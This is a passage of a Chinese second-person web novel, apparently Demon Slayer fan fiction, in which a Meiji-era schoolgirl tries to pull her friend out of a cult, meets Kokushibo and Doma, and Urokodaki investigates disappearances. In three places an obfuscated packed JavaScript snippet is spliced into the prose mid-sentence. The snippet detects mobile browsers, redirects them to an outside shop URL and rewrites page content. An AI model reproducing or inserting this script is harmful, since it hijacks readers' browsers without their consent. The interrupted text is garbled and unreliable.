好疼!你龇牙咧嘴,几乎是面目狰狞地瞪视着那人。 是久子。果然是她! “我们走。”你拉起千代的手就走,顺便瞪由美一眼。 “千代,”久子单腿立着,在身后大喊,“你忘了教主大人的话了吗?” 千代的手触电一样发抖,猛地挣脱出来。 你回头吃惊地看着她。 “对不起,对不起,”她说,“不是你想的那样,让我和她们说说。” 久子整理好被你撞乱的衣襟,跳几步重新踏上木屐,从容走近,一把扯下千代的十字架链坠。你的火噌一下就冒了起来,千代拼命摁住你:“快走吧,这里没有你的事!” 挣扎中,你的手提包早掉到了地上,久子泄愤地踢了一脚,顺手丢掉手里的东西:“听到没有,这里没你事,是我们要聊聊。” 你:“有什么不能大白天聊?给我放手,放手!” 你用力挣扎起来,千代快要抱不住,苦苦哀求:“一会儿我再解释,你别管了。” 久子一脸不耐烦,冲由美使个眼色:“先把她弄走。” 你大叫:“快来人,有没有人啊?这里……” 久子急了,上手就来拖你:“喊什么……” 一道劲风刮过,你脖子后面的头发都吹起来,糊住了眼睛。 你剧烈地咳嗽,再睁眼,久子跌在地上目瞪口呆,像看什么怪物似的看着你——不,是你的身后。 你回过头去。 21.第 21 章 久子惊慌地后退,四肢并用地爬着,突然醒悟,赶紧站起来跑了,还不忘拽着由美和千代。 你傻傻地立在原地,看着那个不知道从哪里冒出来的男人。 他好高啊,也好壮…… 肾上腺素降下来,你后知后觉地感到了害怕。巨大的体型差,带来无与伦比压迫感,你头脑一片空白,做不出任何反应,冷汗爬上了背。 扑通、扑通、扑通…… 心脏在短暂地麻痹后,惊恐万分地撞壁,要从胸腔里破门而出,好逃之夭夭。你死死地摁住胸口,不知该如何安抚好它。 那人捡起地上的包拍拍灰交给你,视线在上面的刺绣名字上停顿一秒,就主动退后几步,拉开了安全距离。 不像是坏人。 你稍稍觉得能喘上气了,还是两股战战,腿软地就要坐下去。 不对! 千代呢? 你惊慌地左右张望,意识到在自己吓住的时候,千代重新落到了久子的手里。 不好,快去追呀。你抬起腿,脚一落地就疼得“嘶”了一声。 十九世纪七十年代,橡胶还没有广泛应用到制鞋工艺中,皮鞋底是用多层压实的鞣制皮革做成的,里面有软木作衬垫,鞋跟用金属加固。 总之,这不是一双舒适度足够的鞋子,冲刺跑太难为它了。脚应该早就磨破了,再跑下去只怕会血肉模糊。 你佝偻着腰,用一个滑稽的姿势扶墙站着,心里充满了绝望。 不远处,男人主动道:“要我帮你叫辆车吗?” 你警惕地拒绝了,坚持自己走到巷子口去找车。 你一瘸一拐,走得很慢,他隔着两三米远,慢悠悠地跟在后面。几次回头他都在,你就停住不走了。 他不明所以,你轻轻地扭头,做出避让的姿态,他恍然大悟背过身去。你赶紧蹲下身,把手帕垫进鞋子。 呼。这下感觉好多了。 你走了几步,不那么疼了,伤口大概也结痂了。 你看不见的地方,黑死牟悄悄松了口气,空气里稀血的味道淡去。 回到大街上,明亮的灯光和川流不息的人潮让你找回了一些安全感。 “非常感谢您,先生。”你对黑死牟说,“您太好心了。” 其实你心里还是非常的不安,想要快点跑开,但这样太没礼貌了。而且,把来帮忙的人当作坏人戒备,你多少生出了愧疚之心。 他身姿笔直,一句话也不说,你的心里又打起鼓来。 “我现在要去找我的朋友,就是刚才那个女孩,非常抱歉,但我得离开了,祝您有个美好的夜晚。” 一不留神把学校里的口气带出来了,好奇怪。你紧张地绞起手指。 灯光下,你发现他的带卷的发尾有一点泛红,但看着并不奇怪。而且—— 你没忍住又后撤了半步,他真的好高,得有一米九多了吧,你只到他肩膀下面一点。 黑死牟低下头,眼神落在你脸上。 虽然不是同一个人,但看在是转世的份上,保护这一世可以寿终正寝足够了。 “不算是美好的夜晚,”他移开视线,“车来了。” 你顺着他的方向抬头张望,因为城市的光污染,天边那一轮新月显得格外黯淡。你想起早上出门的时候,母亲翻着黄历唉声叹气:“今天是个赤口日,万事皆凶,还碰上晦朔之交,阴气重,准没好事。”* “黄包车。”你招手喊停最近的一辆人力车,坐了上去。 “但是,先生,满月和残月是同一轮月亮,古人也说吉凶同时、偶适相遇*。今天有您出手相助,怎么不是美好的一天呢?请您也开心起来吧。还有——” 你指向他的腰间:“这边禁刀令执行是很严格的,您这样会有麻烦,还是收起来比较好,再见。” 你看向车夫:“你好,麻烦请往——呃,往……” “左转第三个路口再往东走,不用担心,她们丢下人走了。”黑死牟道。 “那么小姐,再见了。”他向你微微鞠躬,马上离开了。 你完全卡壳,直到他消失再没说出什么。 “就往那儿走,快点儿。”回过神,你赶紧招呼车夫,心事重重地坐好。 那么暗的地方,可以看那么远吗?而且,为什么是さらば,不应该是さようなら吗?*这么说好正经啊,是很老派的人吗?但老派的人会更注意保持距离吧。 没有想多久,你的疑惑渐渐被焦急取代,你在车上伸长了脖子,到处找千代的身影。 “小姐,是不是那里。”车夫比你先发现了人,千代正耷拉着脑袋,一个人走在路边,衣服上沾了泥。 车子停在她面前。 “不用和我解释。”你把她拉上来,“就说说万世极乐教是怎么回事。” 回到家,父母被你袜子上的血迹吓了一跳,你解释说上体操课忘了换鞋才蒙混过去。母亲立即就要给你请假,你再三说明这只是小伤才罢休。 哎,父母的爱有时真是甜蜜的负担啊。你倒在床上,想起千代的遭遇,更加心痛。 “千代,他们已经不是你的父母了,他们披着父母的皮,心里早就被疯狂的教徒取代了,不要想着拯救他们了,快逃吧!” “我逃到哪里去?他们不是别人,是我的爸爸妈妈啊,怪我太不关心他们了,生意出了很大的问题,父亲病了,哥哥也帮不上忙,他们是走投无路才会相信那个教主,我怎么能在他们最需要的时候一个人逃走呢?” 你拉起被子盖住了脑袋。 天亮时,你已重新燃起斗志,想出一个可以落实的计划。 虽然不清楚邪教怎么拉人,但小团体怎么拉帮结派,你还是有点数的,无非是威逼兼利诱、大棒加甜枣,感情陷阱、同侪压力都是趁手的利器。所以当务之急,是要隔绝有毒的环境。 下课时间,你敲响了校长办公室的门。 “菲利斯女士,”你眼一闭心一横,背起打好的腹稿,“我想向您请教学校义塾的事。” 这家教会开办的和英女子学校是完全按基督教的理念运行的,既招收付起高昂学费的士族、商人子女,也免费收容穷人、流浪儿童和孤儿免费入学。 你觉得千代完全可以继续读书,她马上就能完成全部的中等课程,毕业后留在学校当老师也是很好的出路,你知道有些高学部的前辈就是这样半工半读的,如果在此之前走读改成寄宿的话就更完美了。 你想起这半个多月来,千代因为用完月票买不起新的,只好走路上下学,心里就闷得慌。她的父母钱财都上供给了所谓的“教主”,这学期结束后,学费肯定不会再续,到时候怎么办呢? 也只有学校的义塾可以帮她了,但这需要校长的支持。 你说完,忐忑不安地等着结果。你隐瞒了万世极乐教的部分,只说千代家遭遇了很大的困难,她的学业难以为继,这样听起来会不会很可疑? “千代?”菲利斯女士带上眼镜翻起了桌上的花名册,“我想我记得她,没错,非常优秀的学生。谢谢你告诉这件事,小姐,我会考虑的。” 你心中一块巨石落地,直觉感到此事已成了八九分,激动地鞠躬:“太感谢您了!” 菲利斯女士笑了,两颊的皱纹撑开。“好了,请让下一位同学进来吧。”她说。 你怀着强烈的喜悦之情推门而出,看到了静静站在那里的由美。 “为什么要做这种事呢?”她不解地问你,“这是没有用的。” 你的好心情没有被莫名其妙的人破坏,一回到教室赶紧把好消息分享给了千代。 这也不行、那也没用,不试试怎么知道?难道什么也不做就看着事态朝最严重的方向发展吗? 还能接着上学,千代先是很高兴,听到以后可能要住校又犹豫起来。 “这不好吧,家里出事了怎么办?” “家里不是还有你哥哥吗,他不比你清楚要怎么办?而且,你住校、免学费,给他省多少钱呀,明年当了老师还能挣钱,家里就没那么大压力了。” 千代这才转忧为喜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056390|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你把愧疚之情压下去,你救不了所有人,捞出一个是一个。 “就是我们得分开了。”你抱住她。 虽说学生集体活动都在一起,但两边的条件不可能一样,你从校长办公室出来特意绕路看了一眼。 义塾是单独一间大教室,实行混班制,不同学部的学生由一位老师统一授课,高年级的学生辅助低年级的学习,听说她们还要参加义务劳动,照顾育婴堂的婴儿、做女红义卖筹钱之类的。 “每节课下了我都来找你。”千代保证。 这件事就这么敲定了。你独自坐火车往返在家和学校之间,心里照样很快活。 生活恢复了表面的平静,久子旷课太多已经被劝退,不可能再来烦千代,你担心过由美,偷翻娜奥米小姐的名册发现她已经退学了。 想到那天她见校长是为了退学的事,你的心头涌起异样的感觉,不过很快就抛到脑后。 你只祈祷千代的父母可别再作妖了。 身边的桌椅空了,不久之后由一个新同学补上。课余时间你们还算聊得来,但你还是牵挂着千代,有空就去找她。 冬天来了,一个人围着厚围巾走在去火车站的路上总会觉得冷,你搓着手呵开车窗上的雾气,铅灰色的厚重云层下一片白茫茫,秋天你们共同见证的街景又有了变化。 新开的书店上新不少从西方引进小说,你挑了好几本感兴趣的,又想起千代,她在的话就可以一起讨论了,你看到了好多精彩的段落想要读给她听呢。 买几瓶墨水给她吧,你停在一间铺子前。 推门而入,风铃叮当作响,有那么一瞬间,你以为自己其实是穿到了一本玛丽苏小说里。 正对着门的一位顾客(应该是顾客吧),红色紧身衣,条纹阔腿裤,坐在一把西洋造型的椅子上,像班上那些调皮捣蛋的学生一样,把前边的椅子腿翘起来,发出咯吱咯吱的声音,乐此不疲。但那些同学只有十一二岁,这位至少二十多了。 你潮人恐惧症快犯了,赶紧调转方向,走向角落的货架。 就算是穿进了玛丽苏小说,你最多也就担任背景板、路人甲的角色,误入主线是要遭天谴的。 哒的一声轻响,那人摆正椅子,跳下来阔步梭巡在屋里,高挑的个子让空间都显得狭窄了。 你目不斜视,取下想要的黑色墨水,露出商品后一颗白橡色的头,七彩的眼睛冲你眨了眨。 你差点原地弹射起飞,拿墨水瓶给他砸一个脑袋开花。 “哎呀呀,真是太不小心了。”他像一条鱼一样游过来,接住你滑落的墨水瓶,“虽然还不到成熟的时候,但你闻起来好美味啊,这就是黑死牟阁下逗留在我这里的原因吗?” 你东西也不要了,转身就走。多好看一张脸,脑子竟然是有病的,还是个自来熟,正中你这个社恐人的死穴,躲远点好了。 手摸到门把还没转动,一面金色的扇子打开挡住了。 “太冷淡了,我好伤心啊,为什么和别人说说笑笑,见到我就跑呢?” 你盯着扇面上的两朵莲花,默不作声。 大意了。你就知道,他们才不会善罢甘休! “离我和我的朋友远一点!你来这里,你家教主知道吗?”你转过头,开始输出,“如果知道的话,麻烦转告他,他的拉人技巧弱爆了!这样的教派是没有前途的,趁早金盆洗手干点别的,什么都想吞下去,当心撑死了!” 童磨:“?” 你后退一步。糟糕,怎么把心里话说出来了?看他疑惑的样子,你害怕起来,眼睛乱瞟着看:他不会恼羞成怒,从哪儿摸出把斧头砍死你吧? “哈哈哈哈,太有意思了!”他笑弯了腰,用扇子挡住嘴,“竟然会是这么有意思的小姑娘,我以前怎么没有发现你呢?” 你顿感恶寒,起了一身鸡皮疙瘩。 “让开,我喊人了!” 童磨还要说什么,门外传来金属令人牙酸的刮擦声,锁舌断裂,门把转动,黑死牟走进来,拉长的影子盖住门前的两人。 22.第 22 章 “谢谢你。”你真心诚意地道谢,“要不是你,我觉得我要死那儿了。” “怎么会。” 你分辨了半天,意识到他是在宽慰你,忙道:“怎么不会,你不清楚,他是搞邪教的,这样的人不能貌相,他们吃人不吐骨头的!” 你越说越气愤,恨不得拉着他上一堂安全知识课。 “你全都知道了?”黑死牟突然问。 “嗯?”我全知道什么了? 他改口道:“没什么。” 你郁闷:我们刚才是不是鸡同鸭讲来着? “总之,非常感谢您,我经常做出这种傻事要人来帮,真是太惭愧了。” 又变得客气了,该说再见了吧。黑死牟想。童磨还没走远,一会儿就去警告他,不然你会非常危险的,这可不是他的本意。 “等等,请等一等先生。”你埋头在手提包里翻起来,“请问您对话剧感兴趣吗?” 你递给他一张票:“这是我们学校的汇报演出,圣诞节那天在教堂里上演,您喜欢的话就来看看吧。” 他不接话,你的手有些酸了。 “是我演主角。”你补充道,“就当作是我的谢礼吧。” 黑死牟沉默着接过来。 “您会来吗?” “看情况。”如果那天是阴天的话。 十二月二十五日,阴。 你在后台戴上棕色鬈曲的假发,用别针把一块毛皮固定在衣服上,然后对着镜子深呼吸。 千代在一旁安慰你:“别紧张,我看过排练,你的台词完全没有问题。” 她的慈善义卖在话剧落幕后才开始,所以过来帮你。 “我忘词了怎么办?”你还是很紧张。 “忘了就忘了,台上编圆了就行,你还能忘了故事讲什么吗?” “有道理,可我怕反应不过来。” “那我就躲在幕布后面,想办法给你提示怎么样?” 你还要说什么,玛利亚小姐跑过来:“准备好了吗?《亚伯和该隐》要上了。” 你赶紧起来站在指定的候场地点,还不忘给千代打个手势。 音乐响起,幕布拉开,你扮成亚当和夏娃的次子亚伯,在旷野上牧羊,另一边,亚伯的兄长该隐也带着麦穗上场了。 “主啊,你创造了昼与夜……”你迅速沉浸到表演的氛围中,流畅地念起了台词。 台下,黑死牟闭目养神,听到报幕的声音才坐直,认真看起来。他身边是一对中年夫妻,男的带着圆顶小礼帽,女的还是一身传统的和服,他们偶尔交谈几句,惹得他有些不快。不过幕启后,两人就不再说话了。 剧情展开,该隐和亚伯兄弟俩一起长大,他们共同向上帝献祭,该隐献上地里的蔬菜和粮食,亚伯献上头生的羊羔与脂油,上帝接受了亚伯的祭品。 音乐在这里变调,遭到拒绝的该隐愤怒不已,上帝的声音从舞台布景后传来:“你为什么发怒呢?你为什么变了脸色呢?你若行得好,岂不蒙悦纳,你若行得不好,罪就伏在门前。它必恋慕你,你却要制伏它。” 亚伯这时要满心欢喜地退场,你顺势退到舞台边,悄悄往台下打量:父母都在看你这边呢。 你情不自禁地微笑,赶紧低头遮掩,视线从他们身边滑过。啊,那位先生也来了。 你想进一步看清他的表情,一下子愣住了。 灯光暗下去,道具组的同学换好了布景,变成田间的景象。你按排练好的节奏,机械地走到舞台中央。 千代以为你忘了词,急得不得了,又是闭眼吐舌头又是用手掌划脖子,想办法提示你。 你赶紧回过神来,背对该隐的扮演者站好,念完台词就倒下去装死。 该隐因为嫉妒杀死了弟弟,上帝当然发现了这一切,祂降下惩罚,说:“你兄弟的血,有声音从地里向我哀告。”该隐受到故土的诅咒,从此流落他乡,而死去的亚伯被视作殉道者,称为义人亚伯。* 故事到这里就结束了,你爬起来谢幕,回到后台卸妆。接下来反映七宗罪其他内容的短剧,和你没什么关系了。 千代早已等在那里,你们激动地拥抱。 “演得真好,祝贺你。” 你脱下戏服:“这有什么技术含量,不说了,你的位置在哪儿,一会儿我过去帮你搬东西。” 义卖会就在教堂门口举行,那儿你的父母正翘首以待。 你飞奔过去。 黑死牟抬起头,全身瞬间紧绷。他还没想好做什么,你已投入了身边那对夫妻的怀抱。 “父亲母亲,我演得好不好?” “好啊,太好了。”“真厉害啊。” 你在一声声赞美中迷失了自我,美得冒泡泡。 “好了好了,你们先回吧,我还有事呢,晚上我坐第一班车回家,再见。” “早点回来,我们一家人照相去。” “好好好。” 你把手都挥舞酸了,放下歇歇,才看到一旁站着的人。 “啊!先生您在这里。”你瞬间忐忑起来,“我演得怎么样?” 你往千代告诉的位置走去,身边跟着黑死牟。 “这个故事还有后续吗?”他问。 “也不算是后续吧,最后就是上帝降下洪水毁灭了世界,该隐的血脉因此断绝,亚当、夏娃的第九代孙诺亚成为所有人类的祖先。这是另外一个故事了。” “所以说兄弟俩的故事到弟弟死亡为止,不错,很好的关于嫉妒的故事。” “但是我想的和你不一样哦,我可不认为该隐和亚伯之间是简单的嫉妒关系。” 黑死牟不解地看着你。 “你说说看,这个故事成立的关键是什么?是上帝,对吧。就是这一点,这是该隐对弟弟的情绪不同于嫉妒的决定性一点。” 你比比划划,力图让自己的表达更加清晰。 “嫉妒是因他人的优越不愉快,是因为竞争一定的权益,但在这对兄弟这里不是这样的。你能理解吗?上帝不是什么人,不是利益的代表,上帝是上帝。” 你开始词穷了,想要从唯物主义的角度解读宗教隐喻就是很不容易的。不知道有信仰的人是怎么看待这些故事的,反正你总是习惯性地去思考其中的现实含义。 “上帝可以理解成一种抽象的概念,是集体意志的集合、自然规律的显现,类似于我们东方人所说的‘天意’。不是该隐的祭品不好,或者他能力不如弟弟,是中东的地理条件选择了畜牧业而不是农耕,亚伯的技术更符合天意,仅此而已。杀弟也好,嫉妒也好,都是从结果倒推原因,不能当作事实的真相。” 你看到千代远远地冲你招手,赶紧打住,毕竟是在教堂,再说下去就不礼貌了。 “至少我是这么理解的,该隐和亚伯的故事被认为是人类历史上的第一起谋杀,但我觉得,这只是一个被命运捉弄的故事,该隐不服从天意的选择,他反抗自己的命运,即使是一场空。”你快速地总结完,不说了。 “该隐不会这样想,世人不会这样想,你的老师也不是这么教的吧?”他一针见血地指出。 你嘴硬:“我可以有自己的判断、自己的想法。” 你们看到千代的摊位前,她已经和其他同学把横幅支好了。 “她是我的朋友,你知道的,一会儿我介绍你们认识,对了,”你停下,“说了这么久,你还没有告诉我你的名字呢。” “你也从来没有告诉过我。” “但是,这个你不是早就知道了吗?”你在手提包上绣了名字,他的目光多次停留在那里,你不会看错。 黑死牟沉默。 “这位是千代小姐,这位是黑死牟先生。” 你介绍完,心里又把黑死牟三个字来回反刍了几遍,让音节理顺,习惯它的发音。说真的,这个名字有些奇怪,还有点别扭,又觉得耳熟,好像在哪里听过。 你没多想,撸起袖子开始干活,几张桌子拼在一起盖上桌布就是展台,摆上义塾学生们的手工作品,有整幅的绣品、织好的布,还有梭编的蕾丝手帕、餐巾,和教会的宣传手册放在一起。 校长菲利斯女士认为,此举不仅为教会筹措资金,还可以宣传教义、振兴女子实业,可谓一举多得。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063912|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和千代深以为然,只是看重的点不一样。 展台布置好,你们挑出卖相更好的摆在前面。黑死牟也来帮忙,好几箱库房里的东西,本来要几个女生一起去抬,他一个人就搬过来了,效率顿时高了不少。 你们忙了一会儿,千代的哥哥也到了,几个人一通收拾,摊位里里外外都到位了。话剧表演结束,人潮从教堂里涌出,你立即打起精神,和千代一起去招徕客人。 你会吹竖笛,一个高学部的学姐带来了手风琴,你们轮流表演,把客人吸引过来。 轮到你休息,千代端来一杯水:“黑死牟先生是那天出现的人吗?” 你忙着喝水,闻言点头。 她浮现出忧虑的神色:“那他应该不是坏人,可我总觉得这个人怪怪的,你别和他走太近了。” 你喝完了水,放下杯子:“放心吧,我有分寸的。你呢,最近过得好吗?有空来我家玩吧,我教你骑自行车!” 你缠了好久,父母才松口买了一辆,只许你在院子里骑,无聊死了。 “节日后应该有空吧。我很好,就是哥哥太累了,我要是能分担一些就好了。”她看向一旁帮忙的兄长。 千代的哥哥之前几年都在东京的兰学署攻读经济学,不怎么回来,你不是很熟,今天看来,是一个瘦削内向的青年,和千代很像。 “你哥哥毕业了吗,做什么工作?”你问。 “本来是要哥哥一毕业就接手家里的生意,现在……”千代欲言又止,“现在多亏了哥哥照顾父亲呢。” “还是让他找个工作吧。”你说完就意识到这根本不现实,讪讪地低下头,“该我了。” 你拿起竖笛走前去,之前吹奏的都是教会教的调子,舒缓温柔但不适合这种场面,你深吸一口气,吹起了《森林狂想曲》《我来自阿拉巴马》《铃儿响叮当》之类活泼的曲子,马上吸引来了很多人驻足欣赏。 你卖力连着吹了好几遍,除了第二首让你特别想吃蜜雪冰城以外,一切都很顺利。学姐见状也换了风格,这几首都是小学音乐课本上的,难度不高,她马上就学会了。 你没有注意到黑死牟握紧拳头,神情透露出一点焦躁。 义卖会顺利收官,你们一起收拾好东西放进库房,然后各自告别。你没有叫车,慢悠悠地走在去火车站的路上。 冬天天黑得早,路灯都亮了,晕黄的光线在深蓝的夜空中切割出一片片扇形,你从一个光圈跨到另一个光圈,抬头看雪花在灯光下格外晶莹透亮。 “下雪才像圣诞节啊,”你感慨,“不过,要是今天早上就下的话,好多同学就来不了了。” 你伸出手,一片雪花刚好落到袖口,衣服很厚实热量传不出来,它就一直不化,完整地留在那里。你看着雪花的六瓣花形,里面还有更精致的图案,又想起了蜜雪冰城。 “黑死牟先生要吃冰激凌吗,”你说,“我请客。” 新鲜的冰激淋打出来盛在小碟子里,你付了钱拿出两碟一人一个。冬天吃它一点儿也不应景,但你很快乐。 黑死牟端着小碟子似乎在思考怎么下嘴,犹豫片刻才小口小口地吃起来。你看着直笑。 “干嘛这么文雅啊,豪迈点儿才吃得香啊,看我的。”你飞快吃完了冰激淋,吞下最后一口还意犹未尽。 “呀!” 黑死牟眼疾手快地扶住你:“怎么了,不舒服?” 你使劲儿摁住脑袋哭丧着脸:“我头疼。” 怎么忘了这一茬! “严重吗?” “没事儿,就是吃的东西太冷,血管急剧收缩导致的,现在已经好了。” 你气呼呼地把纸碟扔进商家的纸篓里:“怪我吃少了,夏天再来,多吃几个。你觉得怎么样,好吃吗?” 黑死牟看着手里剩下大半的冰激淋:“好吃。” 他当着你的面吃得干干净净,还是小口小口的文雅吃法。 你捂着嘴偷笑,呵出白气。 “再见(じゃ、また)。” “再见(さらば)。” 黑死牟先生真的是一个很正经的人啊。 23.第 23 章 圣诞节后是长假,你和父母到箱根去玩,泡着温泉看富士山雪景,到山上去滑雪、打雪仗,晚上睡在山脚下长租的日式小屋里,推开窗是满天的繁星,月华像水一样温柔。旅馆的房东母女给你讲雪女还有其他妖怪的故事,吓得你有好几晚睡不好。 等回到学校心都玩野了,老师的嘴巴开开合合漫出无数词句,从你一边耳朵进去,就从另一边流走了。 你在包里装了好多旅行途中的纪念品,老师一走迫不及待地打开来分享,平时说得上话的同学每个都有份。她们围过来,七嘴八舌地交流看法。 “这种绳编最漂亮了,编法和我们这里的不一样。” “我觉得还是印着风景的卡片好看,下次多带些卡片吧。” 你一一答应着,把东西分到她们手里,只剩下一个手帕包起来的小盒子。 一个同学眼尖,马上看到了:“这是要给千代吧。” 你承认:“是啊,我一会儿去找她。” 你看到她们交换着眼神谁也不说什么,顿感不妙:“怎么了?” “你不知道啊,千代已经离开学校了。” “是啊,假期还没结束她就走了。” 这怎么可能? 你强作镇定:“她为什么要走啊?” “我听说……” “不是,听我说,是这样的……” 在她们各不相同部分还自相矛盾的叙述中,你艰难地理出了一条主线:义塾假期大扫除在千代的个人物品发现了一些其他教派的东西,尽管大家都帮她说话,千代还是觉得无法再待下去,就离开了。 学校要求学生必须参加集体的宗教活动,却不强制所有人入教,义塾收容的免费生除外。在一神教的世界里,异教徒是不能被容忍的。 暖和的教室里,你像当头淋了一盆冰水,冷到骨子里。 应该提醒她的,不对,千日防贼怎么防得过有人千日做贼。错的不是你,也不是千代,邪教像角落里的霉菌,阴影延伸到哪里就长到哪里,不把势力范围内的全部营养吞噬殆尽不会罢休。 你感到前所未有的无力。 千代家大门紧闭贴上了厚厚的的封条,看守的人说这一家已经搬走了,他们到了哪里没人知道。 你在门外徘徊到天都黑透,无奈地回到了家。 父亲打听了许久,告诉你千代家的厂子很早就停工了,本地有不少人家都这样,趁着开埠的便利大赚一笔,然后不断地开张想赚得更多,但人和生产都逐渐集中到大城市里了,投出去的钱收不回来,就都破产了。 “乍富乍贫,人怎么受得了呢?”他感慨道,“听说有好多人想不开,已经……” 他要你别和这样的人家来往了,他说人在下坠的时候是会不顾一切抓住身边的所有一起沉沦的,他们什么都会信,什么都做得出来,即使本性善良也会面目全非。 你苦涩地想,就是想要继续来往,该去哪里找她呢? 不管是什么时代的女性,道路都被人为地缩小,这一时期更是格外地狭窄。你想不出千代还能有什么办法保护自己不下坠,因此难过得哭了。 你下了火车,垂头丧气地走在回家的路上。冬去春来,路边的树吐出了新芽,淡烟似的一层绿远远看着流淌着无限生机,你心情却还停留在千代家贴上封条的冬夜,无心观赏。 你只有在文学作品中观赏人生悲剧的经验,当它真真切切地发生在生活中,就在身边时,你像新出栏的羊羔第一次目睹了同类被宰杀,不敢置信,且无法接受。 你领悟到伤风悲秋是一件多么浅薄的事,同现实的苦辛差别大得就像看《动物世界》里的老虎和手无寸铁面对真老虎。 你只管闷头走着,撞到人才反应过来。 “抱歉,真的非常对不起,没撞到哪儿吧?”你连忙鞠躬道歉,诚恳地弯下腰等对方说了“没事”才抬起来,然后就对上了一张涂成火红色的凶脸,长长的鼻子快要戳到脑袋。 “啊!”你吓得不轻,差点儿后仰过去。那人连忙拉住你。 “请别害怕,小姐,我是人。” 你盯住看了一会儿,意识到这是一张面具,立即甩开他的手,警惕地跑开,随时准备喊人。 打扮得奇奇怪怪,不会又是什么教派的人吧? 你正想着,那人揭开了面具,下面竟是一张异常和善的脸。 “小姐,非常抱歉,”他向你鞠躬,“我想请问您,这附近有人失踪吗?” “问这个做什么?”你怀疑地上下打量,此人披一件蓝色的和服,身上白色的云纹随动作起伏,这会儿又看着很正常了,偏偏举止又那么怪异…… 突然,你两眼一眯,发现事情并不对劲! “你为什么带着刀?你想干什么?” 鳞泷左近次扶正了面具,再次向你鞠一躬,转身就走。 “等等!”你大喊,已经来不及,他脚程极快,一会儿就走没影了。 你不甘心地追上去,结果是又一次一瘸一拐地回了家。 山上,桑岛慈悟郎从树上跳下来:“有发现吗?” 鳞泷左近次摇头:“没有。这个地方似乎刚刚经历过变故,很多人家为了躲债逃走了,这些人就算失踪亲友也不会奇怪。他们的社会关系本来就复杂,行动也没什么规律,查不清楚,不好说是不是鬼干的。” 桑岛慈悟郎“啧”了一声:“如果都是鬼干的呢?” 鳞泷左近次看向群山深处:“那就是上弦级别的鬼。” 回到家,你已是气炸肺的状态。 什么莫名其妙的人!等着瞧吧,群众的力量是无穷的,别以为我找不到你! 你在纸上画了一张鼻子长长的脸,左右两个长方形下面连一个正方形是衣服,里面再画上云朵,依样画葫芦炮制了十几张,上面写“我知道你要打听的事”,第二天上学路上贴满火车站,才心满意足地上了车。 夜晚,万世极乐教的总部。 童磨单膝跪地迎接教会的神明。 高挑的身影在黑暗里显现。 “我是太惯着你了吗?”来人道,“我有说过教徒的人数不能超过二百五十个吧,太久没有被叱责,所以脑子坏掉了吗?” “这是难得的机会呀,大人,”童磨微笑道,“我是为了给大人筹措到需要的费用,才不得不铤而走险扩张人数的,这些走投无路的人虽然财富大不如从前,献上来的还是很多的。” 无惨冷冰冰地注视着他。 “下不为例。” “还有,无惨大人,我在领地发现了一道美餐,把她先给您可以吗,无惨大人?”童磨抬起头发现面前空无一人。 “太可惜了,还想给黑死牟阁下找点事做呢。”童磨嘟嘟囔囔,不高兴地摸摸脖子,上一次这里被切开的感觉还是如此鲜明,令他兴奋起来。 “什么时候再玩一次啊。” “教主大人。”门外传来低声地呼唤。 童磨坐好:“进来。是久子啊,有什么事吗?” 少女温顺地在他面前跪坐:“看到这么晚了,教主还在忙,就过来看看。” “是这样,刚刚我听到了神明的声音,”他一根手指抵住太阳穴,“全知的神降下纶音,责怪我把祂的福祉抛洒给了太多不知感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17067577|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩的人。” “没错,”久子认同道,“会里竟然有人质疑教主您的神力,实在太过分了!” “那么,久子知道该怎么做吗?”童磨用他迷人的嗓音很可爱地问道。 久子一下子脸红了,她不知道。一直以来,她都是凭借简单的好恶,亲近虔诚的教徒,排斥异己罢了。 “好孩子,你已经做得很好了,这是我该操心的事,你去休息吧。”童磨笑眯眯地展开扇子遮住半张笑颜。 从谁吃起比较好呢? “那、那,”久子不急则离开,低下头结结巴巴道,“大人,今天还有奖励吗?” 童磨恍然大悟。 “差点忘了呢,”他招手,“那你过来点。” 桌上的灯闪烁了几下,久子轻手轻脚地退了出去,掏出粉盒补妆,脸上的红晕还没有散去。 她重新涂好口红,穿过了几道门,遇到了走廊上给莲花灯添油的由美。 “喂,这几天注意着点,教主要清退不合格的成员,你可不要犯错。”由美是她引荐来的,要是出了问题,她会很没面子。 “是。”由美听话地弯腰行礼,这让她很满意。 久子早就察觉到由美对自己缺乏尊敬,但她谨守教义,要友善对待教会的兄弟姐妹,何况由美并没有把想法表现在行动中。 这个人只是嫉妒我独得教主的宠爱罢了。她想。 “走了。” 由美注视着久子的背影消失在走廊的另一端,那是通往新来教徒居住点的方向。她只当自己没看见,直起身继续添油,顺便用剪刀修掉分叉的灯芯。 久子竟然真的对那个奇奇怪怪的教主言听计从,甚至于甘愿献身,这让由美感到非常惊讶。 